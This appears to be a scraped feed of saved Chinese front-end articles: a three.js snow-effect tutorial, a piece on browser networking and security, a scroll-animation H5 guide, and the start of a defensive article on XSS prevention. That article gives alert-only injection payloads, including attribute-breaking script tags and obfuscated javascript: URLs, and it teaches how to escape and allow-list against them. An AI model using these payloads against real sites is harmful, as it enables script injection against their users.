2:随机生成不同位置一定数量的雪花

for (var i = 0; i < 200; i++) {
        particle = new Particle3D( material);
        particle.position.x = Math.random() * 2000 - 1000;
        particle.position.y = Math.random() * 2000 - 1000;
        particle.position.z = Math.random() * 2000 - 1000;
        particle.scale.x = particle.scale.y =  1;
        scene.add( particle );
        particles.push(particle); 
    }

进行雪花位置优化

for(var i = 0; i < particles.length; i++)
    {
        var particle = particles[i]; 
        particle.updatePhysics(); 
        with(particle.position)
        {
            if(y < -1000) y += 2000; 
            if(x > 1000) x -= 2000; 
            else if(x <- 1000) x += 2000; 
            if(z > 1000) z -= 2000; 
            else if(z <- 1000) z += 2000; 
        }
    }

3:雪花远小近大的效果

雪花的远小近大的效果是通过改变相机的位置来的

    camera.position.x += (mouseX - camera.position.x ) * 0.05;
    camera.position.y += (- mouseY - camera.position.y ) * 0.05;
    camera.lookAt(scene.position); 
    renderer.render( scene, camera );

4:雪花的自由下落

这里是利用了gravity重力,让他下落的,我们也可以通过改变它的大小来改变速度。

Particle3D = function(material){
    THREE.Particle.call(this,material);
    this.velocity = new THREE.Vector3(0,-8,0);
    this.velocity.rotateX(randomRange(-45,45));
    this.velocity.rotateY(randomRange(0,360));
    this.gravity = new THREE.Vector3(0,0,0);
    this.drag=1;
};
Particle3D.prototype = new THREE.Particle();
Particle3D.prototype.constructor = Particle3D;
Particle3D.prototype.updatePhysics = function(){
    this.velocity.multiplyScalar(this.drag);
    this.velocity.addSelf(this.gravity);
    this.position.addSelf(this.velocity);
}

5:雪花旋转效果

至于雪花的旋转我也做了一定的优化

THREE.Vector3.prototype.rotateY=function(angle){
    cosRY = Math.cos(angle * Math.PI/180);
    sinRY = Math.sin(angle * Math.PI/180);
    var tempz = this.z;;
    var tempx = this.x;
    this.x = (tempx * cosRY) + (tempz * sinRY);
    this.z = (tempx * -sinRY) + (tempz * cosRY);
}

活动页

活动页效果就不细细说了,我就把雪花效果添加进去活动页。使用pointer-events:none,表示它将捕获不到任何点击,而只是让事件穿透到它的下面。

 .snow {
        position: fixed;
        top: 0;
        left: 0;
        z-index: 10000;
        transform: translate3d(0, 0, 0);
        width: 100%;
        height: 100%;
        pointer-events: none;
      }

其他

这个活动页还有一个问题,就是按住屏幕(往下轻滑),雪就卡住了一小会希望有大佬来帮我解决这个问题。鄙人不胜感激。

总结

作为一个即将毕业的大四学生,这是我来公司实习做的第一个活动页,希望可以帮助大家,互相学习,一起进步。当然也有一些不足之处,请大家多多指教。如果大家有什么好的想法的话可以联系我的qq:137032979.码字不容易,希望大家点个赞。前端路漫漫,与君共勉之。

查看原文

我仍旧在这里 收藏了文章 · 2019-01-16

JavaScript 是如何工作的:深入网络层 + 如何优化性能和安全

阿里云最近在做活动,低至2折,有兴趣可以看看:
https://promotion.aliyun.com/...

为了保证的可读性,本文采用意译而非直译。

JavaScript 是如何工作的:深入网络层 + 如何优化性能和安全

这是专门探索 JavaScript 及其所构建的组件的系列文章的第 12 篇。

如果你错过了前面的章节,可以在这里找到它们:

  1. JavaScript 是如何工作的:引擎,运行时和调用堆栈的概述!
  2. JavaScript 是如何工作的:深入V8引擎&编写优化代码的5个技巧!
  3. JavaScript 是如何工作的:内存管理+如何处理4个常见的内存泄漏 !
  4. JavaScript 是如何工作的:事件循环和异步编程的崛起+ 5种使用 async/await 更好地编码方式!
  5. JavaScript 是如何工作的:深入探索 websocket 和HTTP/2与SSE +如何选择正确的路径!
  6. JavaScript 是如何工作的:与 WebAssembly比较 及其使用场景 !
  7. JavaScript 是如何工作的:Web Workers的构建块+ 5个使用他们的场景!
  8. JavaScript 是如何工作的:Service Worker 的生命周期及使用场景!
  9. JavaScript 是如何工作的:Web 推送通知的机制!
  10. JavaScript是如何工作的:使用 MutationObserver 跟踪 DOM 的变化
  11. JavaScript是如何工作的:渲染引擎和优化其性能的技巧

正如在上一篇关于 渲染引擎 的博客文章中提到的,我们认为优秀的 JavaScript 开发人员和杰出的 JavaScript 开发人员之间的区别在于,后者不仅理解语言的具体细节,而且理解其内部结构和周遭环境。

想阅读更多优质文章请猛戳GitHub博客,一年百来篇优质文章等着你!

讲一点历史

49年前,一种叫做 ARPAnet 的网诞生了。它是一个早期的 分组交换网络,也是第一个 实现TCP/IP套件的网络。20年后,蒂姆·伯纳斯-李提出了一种“网状结构”的建议,这种结构后来被称为“万维网”。在这 49 年里,互联网走过了漫长的道路,从仅仅两台计算机交换数据包,到超过 7500 万台服务器、38 亿互联网用户和 13 亿个网站。

"阿帕"(ARPA),是美国高级研究计划署(Advanced Research ProjectAgency)的简称。他的核心机构之一是信息处理(IPTO Information Processing Techniques Office),一直在关注电脑图形、网络通讯、超级计算机等研究课题。

阿帕网为美国国防部高级研究计划署开发的世界上第一个运营的封包交换网络,它是全球互联网的始祖。

图片描述

在这篇文章中,我们将尝试分析现代浏览器使用什么技术来自动提高性能(甚至在你不知道的情况下),接着深入浏览器网络层。最后,我们将提供一些关于如何帮助浏览器提高 Web 应用程序性能的建议。

概览

现代 Web 浏览器专为快速,高效,安全地提供网络应用/网站而设计。 数百个组件在不同的层上运行,从流程管理和安全沙箱到 GPU 管道,音频和视频等等,Web 浏览器看起来更像是一个操作系统,而不仅仅是一个软件应用程序。

浏览器的总体性能由许多大型组件决定:解析、布局、样式计算、JavaScript 和 WebAssembly 执行、渲染,当然还有网络堆栈。

工程师经常认为网络堆栈是一个瓶颈。这种情况经常发生,因为所有资源都需要从网上获取,然后才能解除其余步骤的阻塞。为了使网络层高效,它需要扮演的角色不仅仅是一个简单的套接字管理器。它提供给我们的是一种非常简单的资源获取机制,但实际上它是一个具有自己的优化标准、API 和服务的完整平台。

图片描述

作为 Web 开发人员,我们不必担心单独的 TCP 或 UDP 数据包、请求格式化、缓存和其他一切问题。整个复杂性由浏览器负责,因此我们可以将精力集中在我们正在开发的应用程序上。然而,了解底层的情况可以帮助我们创建更快、更安全的应用程序。

本质上,当用户开始与浏览器交互时会发生以下情况:

  • 用户在浏览器地址栏中输入一个 URL
  • 给定 Web 上资源的 URL,浏览器首先检查其本地缓存和应用程序缓存,并尝试使用本地副本来完成请求
  • 如果缓存不能使用,浏览器从 URL 获取域名,并从 DNS 请求服务器的 IP 地址。如果域被缓存,则不需要 DNS 查询
  • 浏览器创建一个 HTTP 包,表示它请求位于远程服务器上的 Web 页面
  • 数据包被发送到 TCP 层,TCP 层在 HTTP 数据包上添加自己的信息,维护已启动的会话需要此信息
  • 然后数据包被传递给 IP 层,IP 层的主要任务是找出一种将数据包从用户发送到远程服务器的方法,这些信息也存储在包的顶部
  • 数据包被发送到远程服务器
  • 一远程服务器一旦接收到数据包,就会以类似的方式发回响应。

W3C的浏览时序规范(Navigation Timing specification)提供了一个浏览器API,让我们可以看到浏览器中每项请求的生命周期背后的时序和性能数据。让我们看看这些组成部分,每一块都是影响最佳用户体验的关键点:

图片描述

整个网络过程非常复杂,有许多不同的层,这可能成为瓶颈。这就是为什么浏览器努力通过使用各种技术来提高自己的性能,从而使整个网络通信的影响最小。

套接字管理

先了解一些术语:

  • 源(Origin) - 由应用程序协议,域名和端口号组成(例如https,www.example.com,443)
  • 套接字池(Socket pool) - 属于同一源的一组套接字(所有主要浏览器将最大池大小限制为6个套接字)

JavaScript 和 WebAssembly 不允许我们管理单个网络套接字的生命周期,这是一件好事!这不仅使我们的省去较多麻烦,而且还可以让浏览器自动进行许多性能优化,其中包括套接字重用、请求优先级和后期绑定、协议协商、强制连接限制等。

实际上,现代浏览器在将请求管理周期与套接字管理分离方面做了更多的工作。套接字组织在按源分组的池中,每个池执行自己的连接限制和安全约束。挂起的请求被排队、排序,然后绑定到池中的各个套接字。除非服务器有意关闭连接,否则同一个套接字可以跨多个请求自动重用!

图片描述

由于打开新的 TCP 连接需要额外的成本,因此连接的重用本身就带来了巨大的性能优势。默认情况下,浏览器使用所谓的 “keepalive” 机制,它可以在发出请求时节省打开到服务器的新连接的时间。打开新 TCP 连接的平均时间为:

  • 当地的请求  — 23ms
  • 横贯大陆的请求 —— 120ms
  • 洲际请求 ——  225ms

这种架构为其他一些优化提供了可能, 请求可以根据其优先级以不同的顺序执行。 浏览器可以优化所有套接字的带宽分配,也可以在预期请求时打开套接字。

正如之前提到的,这一切都由浏览器管理,不需要我们做任何工作,但这并不意味着我们什么都做不了。 选择正确的网络通信模式,类型和传输频率,协议选择以及服务器堆栈的调优/优化可以在提高应用程序的整体性能方面发挥重要作用。

有些浏览器甚至更进了一步。 例如,Chrome 可以学习用户的操作习惯来使自己变得更快。 它根据访问的站点和典型的浏览模式进行学习,以便预测可能的用户行为并在用户执行任何操作之前采取措施。 最简单的例子是当用户在链接上悬停时,Chrome 会预先渲染页面, 如果有兴趣了解有关 Chrome 优化的更多信息,可以查看这篇文章 https://www.igvita.com/posa/h...

网络安全和沙盒

允许浏览器管理单个套接字还有另一个非常重要的目的:通过这种方式,浏览器能够对不受信任的应用程序资源执行一致的安全和策略约束。例如,浏览器不允许 API 直接访问原始网络套接字,因为这将使任何恶意应用程序能够任意连接到任何主机。浏览器还强制执行连接限制,以保护服务器和客户端免于资源耗尽。

浏览器格式化所有传出请求,以强制执行一致且格式良好的协议语义,以保护服务器。类似地,响应解码是自动完成的,以保护用户免受恶意服务器的攻击。

TLS 协议

传输层安全性协议 (Transport Layer Security, TLS)是一种通过计算机网络提供通信安全性的加密协议。它在许多应用程序中得到了广泛的应用,其中之一就是 Web 浏览器。网站可以使用 TLS 保护服务器和Web 浏览器之间的所有通信。该协议由两层组成: TLS 记录协议(TLS Record)和 TLS 握手协议(TLS Handshake)。较低的层为 TLS 记录协议,位于某个可靠的传输协议(例如 TCP)上面。

整个TLS握手包括以下步骤:

  1. 客户端向服务器发送 “Client hello” 消息,与之一同发送的还有客户端产生的随机值和支持的密码套件。
  2. 服务器通过向客户端发送 “Server hello” 消息及服务器产生的随机值进行响应。
  3. 服务器将其证书发送给客户端,并可以从客户端请求类似的证书。 服务器发送 “Server hello done” 消息。
  4. 如果服务器向客户机请求了证书,客户机将发送证书。
  5. 客户端创建一个随机的 Pre-Master Secret,并使用服务器证书中的公钥对其进行加密,将加密的 Pre-Master Secret 发送到服务器。
  6. 服务器接收 Pre-Master Secret。 服务器和客户端均基于预主密钥生成主密钥和会话密钥。
  7. 客户端向服务器发送 “Change cipher spec” 通知,以指示客户端将开始使用新的会话密钥进行散列和加密消息。 客户端还发送 “Server finished” 消息。
  8. 服务器接收 “Change cipher spec”,并使用会话密钥将其记录层安全状态切换为对称加密。 服务器向客户端发送 “Server finished” 消息。
  9. 客户端和服务器现在可以通过他们已建立的安全通道交换应用程序数据。 从客户端发送到服务器并返回的所有消息都使用会话密钥加密。

如果任何验证失败,则警告用户 - 例如,服务器正在使用自签名证书。

同源策略(same-origin policy)

同源是指文档的来源相同,主要包括三个方面

  • 协议
  • 主机
  • 载入文档的 URL 端口

以下是一些可能嵌入跨源资源的一些例子:

  • 带有 <script src =“...”> </ script> 的 JavaScript。 语法错误的错误消息仅适用于同源脚本
  • 带有 <link rel =“stylesheet”href =“...”> 的CSS。 由于 CSS 的宽松语法规则,跨源 CSS 需要正确的 Content-Type 标头。不同浏览器可能有不同的限制
  • 通过 <img> 加载图片
  • 带有 <video><audio> 的媒体文件
  • 带有 <object><embed><applet> 的插件
  • @font-face 的字体。 某些浏览器允许跨源字体,其他浏览器需要同源字体
  • 任何有 <frame><iframe> 的东西。 站点可以使用 X-Frame-Options 头部标识来阻止这种形式的跨源交互

以上列表并非完整,其目的是强调工作中 “最小特权” 的原则。 浏览器仅公开应用程序代码所需的 API 和资源:应用程序提供数据和 URL,浏览器格式化请求并处理每个连接的整个生命周期。

值得注意的是,“同源策略”并不是一个单一概念。相反,有一组相关的机制来限制对 DOM 访问、cookie 和会话状态管理、网络和浏览器的其他组件。

资源和客户端状态缓存

最佳请求是没有重新请求。在发送请求之前,浏览器会自动检查其资源缓存,执行必要的验证检查,并在满足指定条件的情况下返回资源的本地副本。如果缓存中没有可用的本地资源,则发出网络请求,并自动将响应放置在缓存中,以便在有权限的情况下进行后续访问。

  • 浏览器自动评估每个资源上的缓存指令
  • 浏览器会尽可能自动重新验证过期资源
  • 浏览器自动管理缓存大小和资源回收

管理高效且优化的资源缓存很难。 值得庆幸的是,浏览器帮我们处理整个复杂事情,我们需要做的就是确保我们的服务器返回适当的缓存指令; 要了解更多信息,请参阅 客户端的缓存资源(Cache Resources on the Client)。 这个需要我们为页面上的所有资源提供了 Cache-ControlETag Last-Modified 响应头部标志。

最后,浏览器的一个经常被忽视的关键功能是提供身份验证、会话和 cookie 管理。浏览器为每个源维护独立的 “cookie jars”,提供必要的应用程序和服务器 Api 来读写新的 cookie、会话和身份验证数据,并自动附加上和处理相应的 HTTP 头以代替我们自动执行整个过程。

来个例子:

用一个简单但有说明性的例子来说明将会话状态管理推放到浏览器端的便利之处:同一个经过身份验证的会话可以在多个选项卡或浏览器窗口之间共享,反之亦然;单个选项卡中的注销操作将使所有其他打开的窗口中打开的会话失效。

应用程序 Api 和协议

研究完了网络服务,终于到达了应用程序 API 和协议这一步。正如我们所看到的,底层提供了大量关键服务:套接字和连接管理、请求和响应处理、各种安全策略的执行、缓存等等。每当我们启动 HTTP 或 XMLHttpRequest 、长期的 Server-Sent Events 或 WebSocket 会话,或打开 WebRTC 连接时,我们都在与这些底层服务进行交互。

没有单一的最佳协议或 API。 每个稍微复杂的应用程序都需要根据各种要求混合使用不同的传输:与浏览器缓存的交互,协议开销,消息延迟,可靠性,数据传输类型等。 某些协议可能提供低延迟传送(例如,Server-Sent Events,WebSocket),但可能不符合其他关键标准,例如在所有情况下利用浏览器缓存或支持有效二进制传输的能力。

以下是一些来提高 Web 应用程序的性能和安全性技巧

  • 始终在请求中使用 “Connection: Keep-Alive” 头部标识,浏览器默认执行此操作,确保服务器使用相同的机制。
  • 使用正确的 Cache-Control,Etag 和 Last-Modified 头部标识,这样就可以节省浏览器的下载时间。
  • 花时间调整和优化你的 Web 服务器,这是才是真正的最有效的地方! 请记住,该过程要针对每个 Web 应用程序以及你要传输的数据的类型要更加具体考虑和处理。
  • 始终使用TLS,特别是如果你的应用程序中有任何类型的身份验证。
  • 研究浏览器在你的应用程序中提供和实施的安全策略。


原文:

https://blog.sessionstack.com...

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/dev...

你的点赞是我持续分享好东西的动力,欢迎点赞!

交流

干货系列文章汇总如下,觉得不错点个Star,欢迎 加群 互相学习。

https://github.com/qq44924588...

我是小智,公众号「大迁世界」作者,对前端技术保持学习爱好者。我会经常分享自己所学所看的干货,在进阶的路上,共勉!

关注公众号,后台回复福利,即可看到福利,你懂的。

clipboard.png

查看原文

我仍旧在这里 收藏了文章 · 2019-01-12

从零到一:实现通用一镜到底H5

图片描述

写在前面

整个2018年都被工作支配,文章自17年就断更了,每次看到有消息提示过往的文章被收藏,或者有人点赞,都不胜唏嘘。不过,凡事要始终保持积极的心态,现在回归为时未晚。最近有项目要做一镜到底,那就稍作研究吧。

一镜到底是什么?

百度百科-一镜到底
一镜到底,是指拍摄中没有cut情况,运用一定技巧将作品一次性拍摄完成。

那么运用到H5上面,是怎样的表现?网上案例也有很多,这里推荐数英的一篇文章,应用尽有:

一镜到底H5大合集:一口气看尽一个H5的套路

主要表现形式为以下几类:

  • 画中画(例如:网易-《娱乐画传》)
  • 时空穿梭(例如:天猫-《穿越时空的邀请函》)
  • 滚动动画(例如:网易-《爱的形状》)
  • 视频(这个好像没什么好说的...跟本文无关)

体验方式主要有:

  • 按住
  • 滑动

技术需求分析

图片描述

如上图的《爱的形状》,用户滑动屏幕,方块滚动,并且用户能控制播放进度;期间方块上面的纹理一直在变化,意味着动画一直在播放。

提取要点,要实现一个一镜到底H5,通常会有以下技术需求:

  1. 绘制画面:这里我们一般选用基于canvas的库,性能会更好,也方便实现效果。
  2. 添加动画:其中包括过渡、帧动画,因此需要一个动画库。
  3. 进度控制:要实现通过用户操作,来控制整个H5的前进、后退、暂停等,我们会需要进度控制相关的库。
  4. 用户操作:一镜到底的H5一般都需要用户操作以“播放”,按住或滑动,按住比较简单,用原生事件实现就好,滑动相对复杂一点,涉及阻尼运动,因此需要一个滑动相关的库。

有了需求,我们就可以相应去找解决方案了。绘图有用3D的threejs的,动画有人用anime.js,各有所好,能实现需求就行。

最终针对以上需求,我选用了AlloyTouch、TimelineMax、Pixi.js、TweenMax这几个库来实现通用的一镜到底。各个框架的优点这里就不赘述了,想了解详情的可以自行搜索,几乎都有中文资料,也很容易使用。

实现步骤要点

  1. 用Pixi创建场景,加入到想要加入的DOM容器当中。
  2. 用Pixi.loader加载精灵图。
  3. 将精灵图、背景及文本等元素绘制出来。
  4. 用TimelineMax创建一个总的Timeline,初始设置paused为true,可以设定整条Timeline的长度为1。
  5. 用TweenMax创建好过渡动画,然后将TweenMax加入到Timeline中,duration比如是占10%的话,就设定为0.1,从滚动到30%开始播放动画的话,delay就设置为0.3。
  6. 用AlloyTouch创建滚动监听,并设置好滚动高度,例如1000。
  7. 监听AlloyTouch的change事件,用当前滚动值 / 滚动高度 得到当前页面的进度。
  8. 调用总Timeline的seek方法,寻找到当前页面进度的地方,可以简单理解成拨动视频播放器的进度条滑块。
  9. 至此就可以通过用户滑动操作,控制页面元素的动画播放、后退了。

你可能会问那怎样实现上面说的几种类型的一镜到底?实际上,几种类型的不同只是动画变换方式不一样而已。

  • 画中画(缩放同时平移)
  • 时空穿梭(以中心缩放)
  • 滚动动画(平移为主,期间播放其他动画)

示例项目

简单写了个demo,如果感兴趣的朋友可以拉下来自己把玩一下。

点此查看仓库

点此查看demo

图片描述

(注:项目中素材来源于网络,仅供交流学习使用,切勿商用!)

展望

这里只实现了一个一镜到底H5的主要效果部分,距离完成还有很多工作:

  • 微信分享设置及引导
  • 添加一个加载界面
  • 添加音乐音效(用过howler,感觉不错)
  • 可能需要的生成海报(html2canvas,生成海报easy job)
  • ...

结语

这次没有用太多篇幅铺开来讲细节,主要是运用几个库组合来实现,而实际操作上还有很多地方要注意的,例如帧动画的实现,滑动的速度控制,滑到顶部、底部的处理等等。实际应用上还要继续打磨,毕竟一个漂亮的H5,是要花很多精力去构思,去优化体验的。

最后也希望能认识到更多在H5领域有研究的小伙伴,可以互相交流,甚至一起工作!

email: vincent@shikehuyu.com

查看原文

我仍旧在这里 赞了文章 · 2018-10-01

前端安全系列(一):如何防止XSS攻击?

前端安全

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ,主要包括:

  1. XSS 攻击的介绍
  2. XSS 攻击的分类
  3. XSS 攻击的预防和检测
  4. XSS 攻击的总结
  5. XSS 攻击案例

XSS 攻击的介绍

在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

  1. XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

一个案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个链接<span style="color:red">[请勿模仿,确认安全的链接才能点开]</span>。果然,页面中弹出了写着"XSS"的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的关键词是:"><script>alert('XSS');</script>
</div>

浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种情况,我们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法,把这个漏洞修复:

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下规则进行转义:

字符转义后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2F;

经过了转义函数的处理后,最终浏览器接收到的响应为:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的关键词是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

通过这个事件,小明学习到了如下知识:

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。
  • 通过 HTML 转义,可以防止 XSS 攻击。<span style="color:red">[事情当然没有这么简单啦!请继续往下看]</span>。

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有以下内容:

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

可恶,又失策了...

在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱,想到了解决办法:

// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?.....好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,彻底解决了这个漏洞:

// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

通过这个事件,小明学习到了如下知识:

  • 做了 HTML 转义,并不等于高枕无忧。
  • 对于链接跳转,如 <a href="xxx"location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。

根据上下文采用不同的转义规则

某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

<script>
var initData = <%= data.toJSON() %>
</script>

插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

  • 当 JSON 中包含 U+2028U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
  • 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

转义规则如下:

字符转义后的字符
U+2028\u2028
U+2029\u2029
<\u003c

修复后的代码如下:

<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>

通过这个事件,小明学习到了如下知识:

  • HTML 转义是非常复杂的,在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则,很有可能会埋下 XSS 隐患。
  • 应当尽量避免自己写转义库,而应当采用成熟的、业界通用的转义库。

漏洞总结

小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS 攻击的分类

通过上述几个例子,我们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

  • 来自用户的 UGC 信息
  • 来自第三方的链接
  • URL 参数
  • POST 参数
  • Referer (可能来自不可信的来源)
  • Cookie (可能来自其他子域注入)

XSS 分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

类型存储区*插入点*
存储型 XSS后端数据库HTML
反射型 XSSURLHTML
DOM 型 XSS后端数据库/前端存储/URL前端 JavaScript
  • 存储区:恶意代码存放的位置。
  • 插入点:由谁取得恶意代码,并插入到网页上。

存储型 XSS

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

DOM 型 XSS

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
